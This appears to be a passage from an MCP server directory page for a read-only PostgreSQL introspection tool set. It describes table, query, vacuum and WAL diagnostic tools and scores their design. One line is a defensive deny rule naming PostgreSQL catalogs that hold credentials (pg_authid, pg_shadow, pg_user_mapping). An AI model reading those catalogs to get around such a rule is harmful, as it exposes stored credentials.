PostgreSQL versions. view is name or schema.name; columns selects columns (all by
default); order_by sorts by a column, largest first unless descending=false. Names
are checked against the real columns on this server. Catalogs that hold credentials
(pg_authid, pg_shadow, pg_user_mapping...) are refused.
Inputs: view (required), limit, columns, order_by, +2 more.
pg_table_statsTable statisticsARead-onlyIdempotent
Show per-table activity from pg_stat_user_tables: sequential and index scans, rows inserted, updated (and HOT updated) and deleted, live and dead rows, rows changed since the last analyze, last vacuum/autovacuum/analyze/autoanalyze and the cache hit ratio.
Use it to find tables read by sequential scans, tables full of dead rows and tables
that autovacuum has not touched. Filter with schema and table (name, schema.name,
or a pattern with *). order_by picks the ranking; cache_hit lists the worst first.
Counters accumulate since the statistics were reset (shown as counters_since).
Inputs: limit, table, schema, order_by, +1 more.
pg_top_queriesTop queriesARead-onlyIdempotent
Rank the queries of the current database from pg_stat_statements: calls, total and mean time, rows, share of the total time, blocks read and hit, temporary file volume, WAL generated and planning time (WAL and planning on PostgreSQL 13+).
Use it to find what is slow or expensive. order_by is one of total_time, mean_time,
calls, rows, shared_blks_read, temp_blks_written or wal_bytes. min_calls ignores
statements that ran fewer times. Needs the pg_stat_statements extension. The query text is
normalized (constants replaced by $n) and cut; pass it to pg_explain to see the plan.
Inputs: limit, order_by, min_calls, connection.
pg_vacuum_statusVacuum and wraparound statusARead-onlyIdempotent
Report the state of vacuum and autovacuum: its configuration, the tables with the most dead rows measured against their autovacuum threshold (honouring per-table reloptions), transaction id and multixact age per table and per database as a percentage of the wraparound limit, what holds back the oldest xmin (sessions, prepared transactions, replication slots), vacuums running now with their progress, and the autovacuum workers.
Use it when tables bloat, autovacuum seems idle, or before a wraparound emergency.
limit caps each list. For the per-table ranking by activity use pg_table_stats.
Inputs: limit, connection.
pg_validate_sqlValidate SQL without running itARead-onlyIdempotent
Check a read query without executing it: syntax, object names, safety rules, result columns with types, tables it would touch and its estimated cost.
Use it to test SQL you are about to give to the user, or to see exactly why pg_query would refuse a statement.
Inputs: sql (required), params, connection.
pg_wal_checkpointsWAL and checkpointsARead-onlyIdempotent
Explain how checkpoints and WAL behave: scheduled versus forced checkpoints and the buffers they wrote (pg_stat_bgwriter up to PostgreSQL 16, pg_stat_checkpointer from 17), WAL volume (pg_stat_wal, 14+), the archiver (pg_stat_archiver), the current WAL position and the WAL-related settings, ending with a one-line reading such as "forced checkpoints: raise max_wal_size".
Use it for write-heavy servers, I/O spikes every few minutes and archiving problems. Counters accumulate since the statistics reset.
Inputs: connection.
Tool Schema Changelog
Recent tool additions, removals, and schema changes observed during successful MCP inspections.
Loading tool schema changelog…
TDQS
Scored across 50 tools
Most tools target a clearly distinct object or diagnostic question, and the descriptions explicitly separate close pairs such as pg_list_tables/pg_list_objects and pg_describe_table/pg_describe_object. The main ambiguity is among aggregate checks like pg_health_check, pg_integrity_check, pg_security_audit, and pg_vacuum_status, plus the generic pg_stat_view fallback, though their focus areas are documented.
Every tool uses the pg_ snake_case prefix and readable domain terms, so the set is predictable overall. However, conventions vary between verb_noun forms (pg_list_tables, pg_describe_table) and noun-only or adjective_noun forms (pg_connections, pg_activity, pg_health_check), so it is not uniformly consistent.
With 50 tools, the server is far above the practical 3-15 range and over the 25+ 'too many' threshold, creating a heavy selection burden for an agent. The tools are individually meaningful, but the surface could be consolidated into fewer grouped operations.
The set covers connection/policy management, querying and validation, schema/object discovery, DDL reconstruction, dependency analysis, performance and lock diagnostics, replication, security audit, extensions, and integrity checks. For a read-only PostgreSQL introspection server, this is an unusually complete surface; only write/maintenance execution actions are absent by design.
Maintenance
Related MCP Connectors
Safe, read-only Postgres and MySQL access for AI agents. Audit log + column-level controls.
Deterministic safety, correctness & cost gate that vets Postgres SQL before your AI agent runs it.
Query PostgreSQL databases in plain English — LLM-generated, safety-validated SQL.
Query Postgres, MySQL, SQL Server, Oracle, BigQuery, ClickHouse and Redshift from your AI client.
Related MCP Servers
- AlicenseNot gradedqualityDmaintenanceEnables AI assistants to safely explore, analyze, and maintain PostgreSQL databases with read-only mode by default, SQL injection prevention, query performance analysis, and optional write operations.87 npmApache 2.0
- AlicenseAqualityDmaintenanceEnables AI agents to analyze, optimize, and safely interact with PostgreSQL databases, including health checks, index recommendations, query planning, and SQL execution with read-only and production protection modes.15MIT
- AlicenseAqualityBmaintenanceEnables AI agents to query PostgreSQL databases securely with read-only defaults, PII masking, rate limiting, and human-approved, expiring mutation tokens.91Apache 2.0
- AlicenseNot gradedqualityBmaintenanceEnables AI agents to inspect PostgreSQL health, tune indexes, review and optimize EXPLAIN plans, understand schemas for context-aware SQL, and execute SQL safely with read-only/restricted or unrestricted access modes.MIT